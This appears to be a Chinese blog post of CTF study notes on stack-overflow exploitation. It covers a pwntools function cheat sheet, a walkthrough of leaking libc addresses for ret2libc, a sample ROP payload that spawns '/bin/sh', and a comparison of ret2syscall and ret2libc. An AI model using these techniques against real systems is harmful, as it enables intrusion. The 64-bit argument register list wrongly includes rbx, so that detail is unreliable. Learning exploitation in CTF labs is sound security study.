栈溢出之exp


image-20240809194735850

首先加载库函数 (pwntools)

from pwn import *

常用函数

shellcraft.sh()   # 字符串类型的shellcode
asm()    asm(shellcraft.sh())   # 将字符串打包成机器可执行的字节码,通常需要对shellcode进行打包
context.arch =  'amd64'      # 将架构改为64位
p = process('./vul')       # 加载这个程序的进程
p.recvuntil("xxx")    # 让程序断在xxx的位置
test = p.recv(8)     # 接收8个字符给test
int(test,16)   # 把字符串类型的test转换成16进制的整数类型
p.sendline(payload)    # 向程序发送payload
p.interactive()    # 执行程序
elf = ELF('./ret2libc')    # 通过ELF()函数来加载程序,后续便可通过elf.plt来调用程序中的函数
system_plt = elf.plt['system']     # 通过plt表获取程序中system函数的地址
next(elf.search(b"/bin/sh"))      # 直接通过next和elf.search函数找到"/bin/sh"字符串的地址
cyclic(0x88)  # 随机生成0x88长度的垃圾字符
p32(0x123)  # 将字符串转换为字节码
hex(u32('\x巴拉巴拉'))   # 将字节码转换为字符串并以十六进制显示
=====================================================================================================
libc = ELF("./libc-2.23.so")
write_got = elf.got['write']     # 得到write在got表中表项的地址,这个表项中存放的才是write的真实地址,**非常重要****
p.sendline(str(write_got))
p.recvuntil(b":")
write_addr = int(p.recvuntil(b"\n"), 16)	# 这里是程序中有输出我们输入的地址处的内容的功能,所以我们结合此输出获取到write在libc中的真实地址
libc_write = libc.symbols['write']   # 得到write函数在libc中的偏移
libc_base = write_addr - libc_write    # write的真实地址-write在libc中的偏移地址  ==> 得到libc的基地址
# 如果程序中没有system函数,那么plt表中就没有system地址,所以只能从libc中去找system
libc_system = libc_base + libc.symbols['system']   # 得到libc中system的地址(libc的基地址+system在libc中的偏移)
libc_bin_sh = libc_base + next(libc.search('/bin/sh'))  # 得到libc中/bin/sh的地址(libc的基地址+/bin/sh在libc中的偏移)
chr()     # 将字符代码(ascll码)转换为字符串
ord()     # 将字符串转换成ascll码
p.sendline(b"/bin/sh\x00") 		# \x00是截断符
flat(xxx)   # 将xxx扩展成一个单位字长的字节型数据,即p32(xxx)/p64(xxx)
pause()		# 将exp在此处断下来,并生成一个进程pid
addr = int(p.recvuntil(b'AAA',drop=True),16)  # drop=True的作用是不包括'AAA'

image-20240807234201274

所以拿到elf.got[‘write’]后,它的内容才是write在libc中的实际地址。并且由此可见,got表中存放的的确是函数的实际地址。这二者并不矛盾。

sendlinesend的区别:sendline会默认输入一个换行符,而send不会;

fgetsread的区别:fgets函数读入数据时遇到换行符会停止,而read会把包括换行符的所有字符全部读入进去。

ret2libc的溢出规则

函数执行原理

注意:ret2libc中栈中指令的执行是隔一个来执行的

原因:system函数和exit函数的汇编指令开头都是push ebp;mov ebp,esp;即会申请自己的一块栈帧,但父函数会保存子函数的参数和返回地址(子函数会保存父函数的ebp),所以system上面的地址保存的是它的返回地址,再往上才是它的栈帧。子函数会保存父函数的ebp,exit函数也是同样的原理。下图中上边为高地址,下边为低地址。system的下方为它的栈帧,高地址处的”bin/sh“为它的参数。(栈溢出都是从低地址向高地址进行溢出(小端),函数调用时执行汇编指令我们也会发现,先传入参数(高地址),然后再调用函数(低地址)

img

构造rop链通用结构

这个行为也称为平衡栈(在调用函数后清楚栈上push的内容),即在调用plt表中的函数后面加一个pop ret的指令片段。

img

image-20240807171626125

# 示例payload
payload = cyclic(0x88) + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(pop_ebx_ret) + p32(buf)
p.sendline(payload)
p.sendline(b"/bin/sh\x00")    # 把/bin/sh输入到buf中
p.interactive()

64位的exp构造rop链要注意函数的参数要通过寄存器来传递

ret2syscall 和 ret2libc(64位)的区别

  • ret2syscall是通过查找pop eax;ret; pop rbx;ret; pop rcx;ret; pop rdx;ret; 等指令片段的地址来构造rop链,最终执行某个函数的功能,如execve()函数的eax是0xb,最终实现的是execve(/bin/sh,0,0);构造好rop链后执行int 0x80(32位的系统调用,64位是syscall)来使上面构造好的rop链系统调用函数执行。
  • ret2libc是通过查找plt表中的程序本来就有的函数(如system、read函数等)来实现shell的获取(如实现system(‘/bin/sh’)来获取shell),32位的函数参数通过栈传递,所以不需要构造rop链,但需要注意的是执行libc时栈中数据是隔一个来执行的,见上图。64位系统的函数参数需要通过寄存器来传递,所以才需要构造rop链来传递参数。64位传递参数的寄存器依次为rdi,rsi,rdx,rcx,rbx,r8,r9,必须按照这个顺序来构造rop链传递参数,并且是先传参,后执行函数。

libc 调用函数过程

img

img

动态链接程序的执行过程

img


文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录